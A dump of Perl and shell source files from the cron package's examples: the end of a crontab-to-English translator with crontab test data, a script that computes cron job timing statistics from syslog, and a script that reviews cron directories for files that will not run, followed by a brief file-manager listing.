      push @unparseable, sprintf "field %s: \"%s\"", $i + 1, esc($bits[$i]);
      next;
    }
    
    $bits[$i] = \@segments;
  }
  return \@unparseable if @unparseable;
  return @bits;
}

#--------------------------------------------------------------------------

sub bits_to_english {
  # This is the deep ugly scary guts of this program.
  # The older and eldritch among you might recognize this as sort of a
  # parody of bad old Lisp style of data-structure handling.

  my @bits = @_;
  my @time_lines;
  
  { # gratuitous block.
    
    # Render the minutes and hours ########################################
    if(@{$bits[0]}    == 1   and @{$bits[1]}    == 1 and 
       @{$bits[0][0]} == 1   and @{$bits[1][0]} == 1 and 
       $bits[0][0][0] ne '*' and $bits[1][0][0] ne '*'
       # It's a highly simplifiable time expression!
       #  This is a very common case.  Like "46 13" -> 1:46pm
       #  Formally: when minute and hour are each a single number.
    ) {
      my $h = $bits[1][0][0];
      if($bits[0][0][0] == 0) {
	# Simply at the top of the hour, so just call it by the hour name.
	push @time_lines, $mil2ampm{$h};
      } else {
	# Can't say "noon:02", so use an always-numeric time format:
	push @time_lines, sprintf '%s:%02d%s',
	    ($h > 12) ? ($h - 12) : $h,
	    $bits[0][0][0],
	    ($h >= 12) ? 'pm' : 'am';
      }
      $time_lines[-1] .= ' on';

    } else {    # It's not a highly simplifiable time expression
      
      # First, minutes:
      if($bits[0][0][0] eq '*') {
        if(1 == @{$bits[0][0]} or $bits[0][0][1] == 1) {
          push @time_lines, 'every minute of';
        } else {
          push @time_lines, 'every ' . freq($bits[0][0][1]) . ' minute of';
        }
        
      } elsif( @{$bits[0]} == 1 and $bits[0][0][0] == 0 ) {
        # It's just a '0'.  Ignore it -- instead of bothering
	# to add a "0 minutes past"
      } elsif( !grep @$_ > 1, @{$bits[0]} ) {
        # it's all like 7,10,15.  conjoinable
        push @time_lines, conj_and(map $_->[0], @{$bits[0]}) . (
          $bits[0][-1][0] == 1 ? ' minute past' : ' minutes past' );
      } else { # it's just gonna be long.
        my @hunks;
        foreach my $bit (@{$bits[0]}) {
          if(@$bit == 1) {   #"7"
            push @hunks, $bit->[0] == 1 ? '1 minute' : "$bit->[0] minutes";
          } elsif(@$bit == 2) { #"7-9"
            push @hunks, sprintf "from %d to %d %s", @$bit,
              $bit->[1] == 1 ? 'minute' : 'minutes';
          } elsif(@$bit == 3) { # "7-20/2"
            push @hunks, sprintf "every %d %s from %d to %d",
              $bit->[2],
              $bit->[2] == 1 ? 'minute' : 'minutes',
              $bit->[0], $bit->[1],
            ;
          }
        }
        push @time_lines, conj_and(@hunks) . ' past';
      }
      
      # Now hours
      if($bits[1][0][0] eq '*') {
        if(1 == @{$bits[1][0]} or $bits[1][0][1] == 1) {
          push @time_lines, 'every hour of';
        } else {
          push @time_lines, 'every ' . freq($bits[1][0][1]) . ' hour of';
        }
      } else {
        my @hunks;
        foreach my $bit (@{$bits[1]}) {
          if(@$bit == 1) {   # "7"
            push @hunks, $mil2ampm{$bit->[0]} || "HOUR_$bit->[0]??";
          } elsif(@$bit == 2) { # "7-9"
            push @hunks, sprintf "from %s to %s",
              $mil2ampm{$bit->[0]} || "HOUR_$bit->[0]??",
              $mil2ampm{$bit->[1]} || "HOUR_$bit->[1]??",
          } elsif(@$bit == 3) { # "7-20/2"
            push @hunks, sprintf "every %d %s from %s to %s",
              $bit->[2],
              $bit->[2] == 1 ? 'hour' : 'hours',
              $mil2ampm{$bit->[0]} || "HOUR_$bit->[0]??",
              $mil2ampm{$bit->[1]} || "HOUR_$bit->[1]??",
          }
        }
        push @time_lines, conj_and(@hunks) . ' of';
      }
      # End of hours and minutes
    }

    # Day-of-month ########################################################
    if($bits[2][0][0] eq '*') {
      $time_lines[-1] =~ s/ on$//s;
      if(1 == @{$bits[2][0]} or $bits[2][0][1] == 1) {
        push @time_lines, 'every day of';
      } else {
        push @time_lines, 'every ' . freq($bits[2][0][1]) . ' day of';
      }
    } else {
      my @hunks;
      foreach my $bit (@{$bits[2]}) {
        if(@$bit == 1) {   # "7"
          push @hunks, 'the ' . ordinate($bit->[0]);
        } elsif(@$bit == 2) { # "7-9"
          push @hunks, sprintf "from the %s to the %s",
            ordinate($bit->[0]), ordinate($bit->[1]),
        } elsif(@$bit == 3) { # "7-20/2"
          push @hunks, sprintf "every %d %s from the %s to the %s",
            $bit->[2],
            $bit->[2] == 1 ? 'day' : 'days',
            ordinate($bit->[0]), ordinate($bit->[1]),
        }
      }
      
      # collapse the "the"s, if all the elements have one
      if(@hunks > 1 and !grep !m/^the /s, @hunks) {
        for (@hunks) { s/^the //s; }
        $hunks[0] = 'the '. $hunks[0];
      }
      
      push @time_lines, conj_and(@hunks) . ' of';
    }

    # Month ###############################################################
    if($bits[3][0][0] eq '*') {
      if(1 == @{$bits[3][0]} or $bits[3][0][1] == 1) {
        push @time_lines, 'every month';
      } else {
        push @time_lines, 'every ' . freq($bits[3][0][1]) . ' month';
      }
    } else {
      my @hunks;
      foreach my $bit (@{$bits[3]}) {
        if(@$bit == 1) {   # "7"
          push @hunks, $num2month_long{$bit->[0]} || "MONTH_$bit->[0]??"
        } elsif(@$bit == 2) { # "7-9"
          push @hunks, sprintf "from %s to %s",
            $num2month_long{$bit->[0]} || "MONTH_$bit->[0]??",
            $num2month_long{$bit->[1]} || "MONTH_$bit->[1]??",
        } elsif(@$bit == 3) { # "7-20/2"
          push @hunks, sprintf "every %d %s from %s to %s",
            $bit->[2],
            $bit->[2] == 1 ? 'month' : 'months',
            $num2month_long{$bit->[0]} || "MONTH_$bit->[0]??",
            $num2month_long{$bit->[1]} || "MONTH_$bit->[1]??",
        }
      }
      push @time_lines, conj_and(@hunks);
      
      # put in semicolons in the case of complex constituency
      #if($time_lines[-1] =~ m/every|from/) {
      #  $time_lines[-1] =~ tr/,/;/;
      #  s/ (and|or)\b/\; $1/g;
      #}
    }
    
    
    # Weekday #############################################################
   #
  #
 #
#
# From man 5 crontab:
#   Note: The day of a command's execution can be specified by two fields
#   -- day of month, and day of week.  If both fields are restricted
#   (ie, aren't *), the command will be run when either field matches the
#   current time.  For example, "30 4 1,15 * 5" would cause a command to
#   be run at 4:30 am on the 1st and 15th of each month, plus every Friday.
#
# [But if both fields ARE *, then it just means "every day".
#  and if one but not both are *, then ignore the *'d one --
#  so   "1 2 3 4 *" means just 2:01, April 3rd
#  and  "1 2 * 4 5" means just 2:01, on every Friday in April
#  But  "1 2 3 4 5" means 2:01 of every 3rd or Friday in April. ]
#
 #
  #
   #
    # And that's a bit tricky.
    
    if($bits[4][0][0] eq '*' and (
      @{$bits[4][0]} == 1 or $bits[4][0][1] == 1
     )
    ) {
      # Most common case -- any weekday.  Do nothing really.
      #
      #   Hm, does "*/1" really mean "*" here, given the above note?
      #
      
      # Tidy things up while we're here:
      if($time_lines[-2] eq "every day of" and
         $time_lines[-1] eq 'every month'
      ) {
        $time_lines[-2] = "every day";
        pop @time_lines;
      }
      
    } else {
      # Ugh, there's some restriction on weekdays.
      
      # Translate the DOW-expression
      my $expression;
      my @hunks;
      foreach my $bit (@{$bits[4]}) {
        if(@$bit == 1) {
          push @hunks, $num2dow_long{$bit->[0]} || "DOW_$bit->[0]??";
        } elsif(@$bit == 2) {
          if($bit->[0] eq '*') { # it's like */3
            #push @hunks, sprintf "every %s day of the week", freq($bit->[1]);
            #  the above was ambiguous -- "every third day of the week"
            #  sounds synonymous with just "3"
            if($bit->[1] eq 2) {
              # common and unambiguous case.
              push @hunks, "every other day of the week";
            } else {
              # rare cases: N > 2
              push @hunks, "every $bit->[1] days of the week";
               # sounds clunky, but it's a clunky concept
            }
          } else {
            # it's like "7-9"
            push @hunks, sprintf "%s through %s",
              $num2dow_long{$bit->[0]} || "DOW_$bit->[0]??",
              $num2dow_long{$bit->[1]} || "DOW_$bit->[1]??",
          }
        } elsif(@$bit == 3) { # "7-20/2"
          push @hunks, sprintf "every %s %s from %s through %s",
            ordinate_soft($bit->[2]), #$bit->[2],
            'day',               #$bit->[2] == 1 ? 'days' : 'days',
            $num2dow_long{$bit->[0]} || "DOW_$bit->[0]??",
            $num2dow_long{$bit->[1]} || "DOW_$bit->[1]??",
        }
      }
      $expression = conj_or(@hunks);
      
      # Now figure where to put it...
      #
      if($time_lines[-2] eq "every day of") {
        # Unrestricted day-of-month, hooray.
        #
        if($time_lines[-1] eq 'every month') {
          # change it to "every Tuesday", killing the "of every month".
          $time_lines[-2] = "every $expression";
          $time_lines[-2] =~ s/every every /every /g;
          pop @time_lines;
        } else {
          # change it to "every Tuesday in"
          $time_lines[-2] = "every $expression in";
          $time_lines[-2] =~ s/every every /every /g;
        }
      } else {
        # This is the messy case where there's a DOM and DOW
        #  restriction
        
        # Was, wrongly:
        #  $time_lines[-1] .= ',';
        #  push @time_lines, "if it's also " . $expression;
        
        $time_lines[-2] .= " -- or every $expression in --";
         # Yes, dashes look very strange, but then this is a very
         # rare case.
        $time_lines[-2] =~ s/every every /every /g;
      }
    }
    #######################################################################
  }
    # TODO: change "3pm" -> "the 3pm hour" or something?
  $time_lines[-1] =~ s/ of$//s;
  
  return @time_lines;
}

###########################################################################
# Just utility routines below here.

my %pretty_form;
BEGIN {
  %pretty_form = ( '"' => '\"',  '\\' => '\\\\', );
}

sub esc {
  my $x = $_[0];
  $x =~
   #s<([^\x20\x21\x23\x27-\x3F\x41-\x5B\x5D-\x7E])>
   s<([\x00-\x1F"\\])>
    <$pretty_form{$1} || '\\x'.(unpack("H2",$1))>eg;
  return $x;
}

#--------------------------------------------------------------------------

#      if($time_lines[-1] =~ m/every|from/) {
#        $time_lines[-1] =~ tr/,/;/;
#        s/ (and|or)\b/\; $1/g;
#      }

sub conj_and {
  if(grep m/every|from/, @_) {
    # put in semicolons in the case of complex constituency
    return join('; and ', @_) if @_ < 2;
    my $last = pop @_;
    return join('; ', @_) . '; and ' . $last;
  }
  
  return join(' and ', @_) if @_ < 3;
  my $last = pop @_;
  return join(', ', @_) . ', and ' . $last;
}

sub conj_or {
  if(grep m/every|from/, @_) {
    # put in semicolons in the case of complex constituency
    return join('; or ', @_) if @_ < 2;
    my $last = pop @_;
    return join('; ', @_) . '; or ' . $last;
  }
  
  return join(' or ', @_) if @_ < 3;
  my $last = pop @_;
  return join(', ', @_) . ', or ' . $last;
}

#--------------------------------------------------------------------------

my %ordinations;
BEGIN {
  # English-language overrides for common ordinals
  %ordinations = qw(
    1 first 2 second 3 third 4 fourth 5 fifth 6 sixth
    7 seventh 8 eighth 9 ninth 10 tenth
  );
  #  11 eleventh 12 twelfth
  #  13 thirteenth 14 fourteen 15 fifteenth 16 sixteenth
  #  17 seventeenth 18 eighteenth 19 nineteenth 20 twentieth
}

sub ordsuf  {
  return 'th' if not(defined($_[0])) or not( 0 + $_[0] );
   # 'th' for undef, 0, or anything non-number.
  my $n = abs($_[0]);  # Throw away the sign.
  return 'th' unless $n == int($n); # Best possible, I guess.
  $n %= 100;
  return 'th' if $n == 11 or $n == 12 or $n == 13;
  $n %= 10;
  return 'st' if $n == 1; 
  return 'nd' if $n == 2;
  return 'rd' if $n == 3;
  return 'th';
}

sub ordinate  {
  my $i = $_[0] || 0;
  $ordinations{$i} || ($i . ordsuf($i));
}

sub freq {
  # frequentive form.  Like ordinal, except that 2 -> 'other'
  #  (as in every other)
  my $i = $_[0] || 0;
  return 'other' if $i == 2;  # special case
  $ordinations{$i} || ($i . ordsuf($i));
}

sub ordinate_soft  {
  my $i = $_[0] || 0;
  $i . ordsuf($i);
}

#--------------------------------------------------------------------------

sub percent_proc {
  # Translated literally from the C, cron/do_command.c.
  my($esc,$need_newline);
  my $out = '';
  my $c;
  for(my $i = 0; $i < length($_[0]); $i++) {
    $c = substr($_[0],$i,1);
    if($esc) {
      $out .= "\\" unless $c eq '%';
    } else {
      $c = "\n" if $c eq '%';
    }
    unless($esc = ($c eq "\\")) {
      # For unescaped characters,
      $out .= $c;
      $need_newline = ($c ne "\n");
    }
  } 
  $out .= "\\" if $esc;
  $out .= "\n" if $need_newline;
  return $out;
  
  # I think this would do the same thing:
  #  $x =~ s/((?:\\\\)+)  |  (\\\%)  |  (\%)  /$3 ? "\n" : $2 ? '%'   : $1/xeg;
  # But I don't want to think about it, and I need it to work just
  #  as the original does.
}

#--------------------------------------------------------------------------

__END__

# Test data for crontab parsing:

  MAILTO=hulahoops@polygon.int
10 8 15 * * /bin/csh -c 'perl ~/thang.pl | mail -s hujambo root'

40 5 * * * df -k

  50 6 * * 1 ls -l /tmp

1 2 * apr mOn foo


foo=bar
  foo=bar 
 foo = "bar"
 foo="bar"
	foo = 'bar'  
 foo='bar'

  1 2 3 4 7 Foo
1-20/3 * * * * Foo
 1,2,3 * * * * Foo
1-9,15-30 * * * * Foo
   1-9/3,15-30/4 * * * * Foo

  1 2 3 jan mon stuff
  1 2 3 4 mON stuff
  1 2 3 jan 5 stuff

              @reboot        xxstartuply foo
              @yearly        xxx yearlijk%thig%hooboy
              @annually      xxannuallijk heehoo
              @monthly       xxx monthlijk
              @weekly        xXxX weeklijk
              @daily         xxxdaylijk
              @midnight      xxxmidnightlijk
              @hourly        xXxXhourlijk


*/3 * * * * stuff


#End, really.
examples/cron-stats.pl000064400000030646000000000000010766 0ustar00#!/usr/bin/perl -w
#
# Generate stats of Cron messages sent to syslog
#
#
# This script can be used to generate per-user and per-task 
# statistics in order to determine how much time do cron tasks take
# and audit cron use. It might be useful to debug issues related
# to cron tasks that take too much time to run, or overlap, or get executed 
# too fast..
#
# Hint: In some systems, cron tasks might not properly use lockfiles to
# prevent themselves from being run twice in a row and some "strange"
# things might happen if the system is overloaded and a cron task takes
# more than expected. And, no, this is not something that Cron should
# prevent (for more information see Debian bug #194805).
#
# In order for this script to work 
#
# together with the logging enhancements included
# in Debian's vixie cron (3.0pl1-95) that make it possible to log 
# when do cron tasks end.
# 
#
# How to use:
# - Modify /etc/init.d/cron so that the calls to cron pass the '-L 2'
#   argument
#   (Hint: change lines 27 and 47 so that they end with '-- -L 2 $LSBNAMES'
#   instead of '-- $LSBNAMES')
#   In Debian you need cron-3.0pl1-95 or later.
#   Note: future versions of cron might use an /etc/default/cron file
#   to provide arguments to cron. 
#
# - Review /etc/syslog.conf to determine where does the output of the cron
#   facility goes to (might be /var/log/syslog together with other messages
#   but you can also configure syslog to store them at /var/log/cron.log)
#
# - Run the script (by default it will read input /var/log/syslog but you
#   can point to other file using the '-f' switch) and review the output
#
# - (Optionally) If you want to analyse log files for a long period
#   concatenate different log files, extract all CRON related entries
#   to a file and process that.
#  
#   You could do, for example, this:
#
#   zcat -f /var/log/syslog* | grep CRON >cron-log ;  \
#              perl stats-cron.pl -f cron-log
#   
#
# This program is copyright 2006 by Javier Fernandez-Sanguino <jfs@debian.org>
#
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program; if not, write to the Free Software
#    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
#
# For more information please see
#  http://www.gnu.org/licenses/licenses.html#GPL

# TODO:
# - Print time internal of file analysis (from 'XXX' to 'XXX') based on the
#   first and the last log entry read.
# 
# - Detect overlaped entries for the same task (start of an entry before the
#   previous one finished)
#
# - Make it possible to filter by users
#
# - Consider adapting to other log formats (other cron programs? Solaris?) by
#   separating analysis and extraction in the code and making it possible
#   to switch to different analysis methods.


# Required modules
eval 'use Parse::Syslog';
if ($@) {
	print STDERR "ERROR: Parse::Syslog not installed, please install this Perl library\n";
	print STDERR "ERROR: (in Debian it is provided by the 'libparse-syslog-perl' package)\n";
	exit 1;
}
use Parse::Syslog;
use Getopt::Std;
# Parse command line
getopts('dhvf:');
$opt_d = 0 if ! defined ($opt_d) ;

if ( $opt_h ) {
	print "Usage: $ARGV[0] [-dhv] [-f syslog file]";
	exit 1;
}

# Note: in Debian's default syslog configuration log messages are 
# sent to /var/log/syslog but you might have edited it to use
# /var/log/cron.log instead. Which, BTW, is more efficient because
# we do not need to parse the syslog to extract only cron messages.
my $LOGFILE = $opt_f || "/var/log/syslog";

# Sanity checks
if ( ! -r $LOGFILE ) {
	print STDERR "ERROR: Cannot read logfile $LOGFILE";
}

my $parser = Parse::Syslog->new( $LOGFILE);
print STDERR "Starting parse of file $LOGFILE\n" if $opt_v;
while(my $log = $parser->next) {
	if ( $log->{program} =~ /CRON/ ) {
		print STDERR "DEBUG: Found syslog entry: $log->{pid}\n" if $opt_d;
# We extract the entries with the same text but with 'CMD' (start)
# and 'END' (end) to check if it's the same we use the PID reported
# by cron.
		if ($log->{text} =~ /CMD \(/) {
			my $pid;
			if  ($log->{text} =~ /\(\[(\d+)\]/ ) {
			# Debian - with loglevel 8, the child process id is
			# reported
				$pid = $1;
			} else {
			# All the other cases, the process ID of the
			# child process is the same one as the log entry
				$pid = $log->{pid};
			}
			add_entry($log->{timestamp},$log->{text},$pid, $log->{pid})
		}
		if ($log->{text} =~ /END \(/) {
			my $pid;
			if  ($log->{text} =~ /\(\[(\d+)\]/ ) {
			# Debian - with loglevel 8
				$pid = $1;
			} else {
			# Other cases
				$pid = "UNKNOWN";
			}
			clear_entry($log->{timestamp},$log->{text},$pid,$log->{pid});
		}
	}
}
print STDERR "Finished parse of file $LOGFILE\n" if $opt_v;


# Analysis, we find all entries with a start and stop timestamp 
# and print them
generate_analysis();

# Stats:
# - average time of execution of cron jobs
# - cronjob which executed slowest
# - cronjob which executed fastes
# - cronjobs which start before they finish
print_stats();

exit 0;

sub find_user {
# Extract a user from a cron entry
	my ($text) = @_;
	my $user = "";
	if ( $text =~ /^\((.*?)\)/ ) {
		$user = $1;
	} 
	return $user;
}

sub find_prg {
# Extract a program from a cron entry
	my ($text) = @_;
	my $prg = "";
	if ( $text =~ /(CM|EN)D\s*\((.*)\s*\)\s*$/ ) {
		$prg = $2;
		$prg =~ s/^\[\d+\]\s+//; # Strip off child process numbers
					# (Debian loglevel 8)
	}
	return $prg;
}

sub add_entry {
# Get a syslog entry and add it to the table of entries for analysis
	my ($time, $text, $pid, $ppid) = @_;
	my ($user, $prg);
	print STDERR "DEBUG: Entering add_entry with @_\n" if $opt_d; 
	$user = find_user($text);
	if ( ! defined ($user) ) {
		print STDERR "WARN: Cannot find user for cron job (pid $pid)\n";
		return;
	}
	$prg  = find_prg($text);
	if ( ! defined ($prg) ) {
		print STDERR "WARN: Cannot find program for cron job (pid $pid)\n";
		return;
	}
	my $value = $pid."-".$time;
	print STDERR "DEBUG: Adding cronjob of user $user to list: $prg\n" if $opt_d;
	add_cron_entry($user, $prg, $value, $ppid);
	$cron_entries{$user}{$prg}{'count'}++;
	return;
}

sub clear_entry {
# Get a syslog entry, find the start entry and add the timestamp difference
# to the list of timestamps for that user
#
# There's two ways to match entries:
#  - (in Debian, using loglevel 8): By matching the child process ID
#    between the entries
#  - in all the other cases: By matching the process ID of the 
#    END message (which belongs to the parent) with the process IF
#    of the CMD message (which belongs to the child)
	my ($timestamp, $text, $pid, $ppid) = @_;
	my ($user, $prg, $entry, $count);
	my @array; my @stack;
	print STDERR "DEBUG: Entering clear_entry with @_\n" if $opt_d; 
	$user = find_user($text);
	if ( $user eq "" ) {
		print STDERR "WARN: Cannot find user for cron job (pid $pid)\n";
		return;
	}
	$prg  = find_prg($text);
	if ( $prg eq "" ) {
		print STDERR "WARN: Cannot find program for cron job (pid $pid)\n";
		return;
	}
	if ( ! defined ( $cron_entries{$user}{$prg}{'item'} ) ) {
		print STDERR "WARN: End entry without start entry (pid $pid)\n";
		return;
	}
	@array = split(':', $cron_entries{$user}{$prg}{'item'});
	$count = $#array + 1 ;
	print STDERR "DEBUG: $count cron entries for $user, task '$prg'\n" if $opt_d;
	my $finish = 0;
	while ( $finish == 0 ) {
		$entry = pop @array;
		last if ! defined ($entry) ;
		# Pop all entries and look for one whose pid matches 
		my ($spid, $stimestamp) =  split ("-", $entry);
		print  STDERR "DEBUG: Comparing entry $spid to $pid\n" if $opt_d;
		if  ( ( $pid ne "UNKNOWN" && $pid == $spid ) ||  $ppid-$spid == 1 ) {
			my $timediff =  $timestamp-$stimestamp;
			$timediff = 0 if $timediff < 0;
			print STDERR "DEBUG: Entries match, time difference of $timediff\n" if $opt_d ;
			$cron_entries{$user}{$prg}{'finished'}++;
			if (defined ( $cron_times{$user}{$prg} ) ) { 
				$cron_times{$user}{$prg} = join(":", $cron_times{$user}{$prg}, $timediff);
			} else {
				$cron_times{$user}{$prg} = $timediff;
			}
			$finish = 1;
		} else {
			print STDERR "DEBUG: Pushing entry $spid into stack\n" if $opt_d;
			push @stack, $entry;
		}
	}
	# Push all remaining entries to the stack
	$cron_entries{$user}{$prg}{'item'}="";
	$count = $#array + 1 ;
	if ($opt_d) {
		print STDERR "DEBUG: Restoring all entries (size: array $count";
		$count = $#stack + 1 ;
		print STDERR ", stack $count)\n";
	}
	print STDERR "DEBUG: Total finished tasks: $cron_entries{$user}{$prg}{'finished'} out of $cron_entries{$user}{$prg}{'count'}\n" if defined $cron_entries{$user}{$prg}{'finished'} && $opt_d;
	print STDERR "DEBUG: Unmatched now: $cron_entries{$user}{$prg}{'item'}\n" if $opt_d;
	while ( $entry = pop @array ) {
		add_cron_entry($user, $prg, $entry);
	}
	while ( $entry = pop @stack ) {
		add_cron_entry($user, $prg, $entry);
	}
	print STDERR "DEBUG: Finish execution of clear_entry\n" if $opt_d;
	return;
}

sub add_cron_entry {
	my ($user, $prg, $entry) = @_;
	if ( defined ($cron_entries{$user}{$prg}) &&  $cron_entries{$user}{$prg} ne "" ) { 
		$cron_entries{$user}{$prg}{'item'} = join(":", $cron_entries{$user}{$prg}{'item'}, $entry);
	} else {
		$cron_entries{$user}{$prg}{'item'} = $entry;
		$cron_entries{$user}{$prg}{'count'} = 0;
		$cron_entries{$user}{$prg}{'finished'} = 0;
		$cron_entries{$user}{$prg}{'unmatched'} = 0 ;
		$cron_entries{$user}{$prg}{'average'} = 0 ;
		$cron_entries{$user}{$prg}{'minimum'} = 0 ;
		$cron_entries{$user}{$prg}{'maximum'} = 0;
	}
}

sub count_unmatched {
	my ($user, $prg) = @_;
	my ($count, @array);
	return 0 if ! defined ( $cron_entries{$user}{$prg}{'item'} ); 
	@array = split(':', $cron_entries{$user}{$prg}{'item'});
	$count = $#array + 1 ;
	return $count;
}

sub find_average {
	my ($user, $prg) = @_;
	my ($average, $count, $total, @array, $entry);
	$total = 0 ;
	return -1 if ! defined ( $cron_times{$user}{$prg} ); 
	@array = split(':', $cron_times{$user}{$prg});
	$count = $#array + 1 ;
	while ( defined ( $entry = pop @array ) ) {
		$total += $entry;
	}
	$average = $total / $count;
	return $average;
}

sub find_minimum {
	my ($user, $prg) = @_;
	my ($minimum, @array, $entry);
	$minimum = -1;
	return -1 if ! defined ( $cron_times{$user}{$prg} ); 
	@array = split(':', $cron_times{$user}{$prg});
	while ( defined ( $entry = pop @array ) ) {
		if ( $minimum == -1 ) {
			$minimum = $entry;
		} else {
			$minimum = $entry if $entry < $minimum;
		}
	}
	return $minimum;
}

sub find_maximum {
	my ($user, $prg) = @_;
	my ($maximum, @array);
	$maximum = -1;
	return -1 if ! defined ( $cron_times{$user}{$prg} ); 
	@array = split(':', $cron_times{$user}{$prg});
	while ( defined ( $entry = pop @array ) ) {
		if ( $maximum == -1 ) {
			$maximum = $entry ;
		} else { 
			$maximum = $entry if $entry > $maximum;
		}
	}
	return $maximum;
}



sub generate_analysis {
# For each user and program calculate the average time for the task
	my ($user, $prg);
	foreach $user (keys %cron_entries) {
		print STDERR "DEBUG: Calculating data for user '$user'\n" if $opt_d;
		foreach my $prg ( keys %{$cron_entries{$user}} ) {
			print STDERR "DEBUG: Calculating data for task '$prg'\n" if $opt_d;
			my $unmatched = count_unmatched($user, $prg);
			my $average = find_average($user, $prg);
			my $minimum = find_minimum($user, $prg);
			my $maximum = find_maximum($user, $prg);
			$cron_entries{$user}{$prg}{'unmatched'} = $unmatched;
			$cron_entries{$user}{$prg}{'average'} = $average;
			$cron_entries{$user}{$prg}{'minimum'} = $minimum;
			$cron_entries{$user}{$prg}{'maximum'} = $maximum;
		}
	}
}

sub print_stats {
# Print information of cron statistics
	my ($user, $prg);
	foreach  $user (keys %cron_entries) {
		print "Cron statistics for user '$user'\n";
		foreach $prg ( keys %{$cron_entries{$user}} ) {
			print "\tTask: '$prg'\n";
			print "\t\tDEBUG: $cron_times{$user}{$prg}\n" if $opt_d;
			print <<EOF
\t\tTotal: $cron_entries{$user}{$prg}{'count'}
\t\tFinished: $cron_entries{$user}{$prg}{'finished'}
\t\tUnmatched: $cron_entries{$user}{$prg}{'unmatched'}
\t\tAvg time: $cron_entries{$user}{$prg}{'average'}
\t\tMin time: $cron_entries{$user}{$prg}{'minimum'}
\t\tMax time: $cron_entries{$user}{$prg}{'maximum'}
EOF
		}
	}
}
examples/cron-tasks-review.sh000064400000012725000000000000012251 0ustar00#!/bin/bash
#
# Review the cron tasks defined in the system and warn the admin
# if some of the files will not be run
#
# This program is copyright 2011 by Javier Fernandez-Sanguino <jfs@debian.org>
#
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program; if not, write to the Free Software
#    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
#
# For more information please see
#  http://www.gnu.org/licenses/licenses.html#GPL


set -e 
# reset locale, just in case
LC_ALL=C
export LC_ALL

PROGNAME=${0##*/}
PROGVERSION=1.0
# Command line options
SHORTOPTS=hvsi
LONGOPTS=help,version,syslog,info
set -- $(getopt -s bash -o $SHORTOPTS -l $LONGOPTS --n $PROGNAME -- "$@")

version () {
  echo "$PROGNAME $PROGVERSION"
  echo "$PROGNAME is copyright © Javier Fernandez-Sanguino <jfs@debian.org>"
  echo "Released under the terms of the GPL version 2 or later"
  echo "This program is part of the cron package"
}

usage () {
    cat <<EOUSE
    Usage: $PROGNAME [-si]

    Reviews the directories used by cron and reports scripts that
    might not be run by cron due to problems in their naming or
    in their setup.
     
    You should run this program as root to prevent false positives.

    Options:
        -s       -- Use syslog to report information
        -i       -- Report also informational messages
EOUSE
}

syslog="no"
send_info="no"
for opt in $@; do
    case $opt in
        -h|--help) usage; exit 0;;
        -v|--version) version; exit 0;;
        -s|--syslog) syslog="yes";;
        -i|--info)   send_info="yes";;
        *)  ;;
    esac
done
    

send_message () {

    level=$1
    msg=$2
    [ "$level" = "info" ] && [ "$send_info" = "no" ] && return

    if [ "$syslog" = "yes" ] ; then
        logger -p cron.$level -t CRON $msg
    else
        case $level in
            "warn")
                echo "WARN: $msg" >&2
                ;;
            "info")
                echo "INFO: $msg" 
                ;;
        esac
    fi
}

warn () {
# Send a warning to the user
    file=$1
    reason=$2

    name=`basename $file`
    # Skip hidden files
    echo $name | grep -q -E '^\.' && return
    # Skip disabled files
    echo $name | grep -q -E '\.disabled' && return

    # TODO: Should we send warnings for '.old' or '.orig'?

    # Do not send a warning if the file is '.dpkg-old' or '.dpkg-dist'
    if ! echo $file | grep -q -E '\.dpkg-(old|dist)$' ; then
        send_message "warn" "The file $file will not be executed by cron: $reason"
    else
        send_message "info" "The file $file is a leftover from the Debian package manager"
    fi
}

check_results () {

    dir=$1
    run_file=$2
    exec_test=$3

    # Now check the files we found and the ones that exist in the directory
    find $dir \( -type f -o -type l \) -printf '%p %l\n'  |
    while read file pointer; do
        if ! grep -q "^$file$" $run_file; then
            [ -L "$file" ] && [ ! -e "$pointer" ] && \
                    warn $file "Points to an nonexistent location ($pointer)" && continue
            [ "$exec_test" = "yes" ]  && [ ! -x "$file" ] &&  \
                    warn $file "Is not executable" && continue
            [ ! -r "$file" ] && [ "`id -u`" != "0" ] && \
                    warn $file "Cannot read the file to determine if it will be run ($PROGNAME is not running as root)" && continue
            [ ! -r "$file" ] && \
                    warn $file "File is unreadable" && continue
             warn $file "Does not conform to the run-parts convention"
        else

# do additional checks for symlinks for files that *are* listed by run-parts 
            if [ -L "$file" ] ; then
# for symlinks: does the file exist?
                if [ ! -e "$pointer" ] ; then
                    warn $file "Points to an nonexistent location ($pointer)"
                fi
# for symlinks: is it owned by root?
                 owner=`ls -l $pointer  | awk '{print $3}'`
                 if [ "$owner" != "root" ]; then
                       warn $file "Is not owned by root"
                 fi
            fi

       fi
    done

}

# Setup for the tests

# First: check if we are using -l
[ -r /etc/default/cron ] &&  . /etc/default/cron
use_lsb="no"
[ "$LSBNAMES" = "-l" ] && use_lsb="yes"
echo $EXTRA_OPTS | grep -q -- '-l' && use_lsb="yes"
# Set the options for run parts
run_opts=""
[ "$use_lsb" = "yes" ] &&  run_opts="--lsbsysinit"

temp=`tempfile` || { echo "ERROR: Cannot create temporary file" >&2 ; exit 1; }
trap "rm -f $temp" 0 1 2 3 13 15

# Now review the scripts, note that cron does not use run-parts to run these
# so they are *not* required to be executables, just to conform with the 

# Step 1: Review /etc/cron.d
run-parts $run_opts --list /etc/cron.d >$temp
check_results /etc/cron.d $temp "no"


# Step 2: Review /etc/cron.{hourly,daily,weekly,monthly}

for interval in hourly daily weekly monthly; do
    testdir=/etc/cron.$interval
    run-parts $run_opts --test $testdir >$temp
    check_results $testdir $temp "yes"
done


exit 0


Filemanager

Name Type Size Permission Actions
.mad-root.mad-root.tar.gz File 117 B 0644
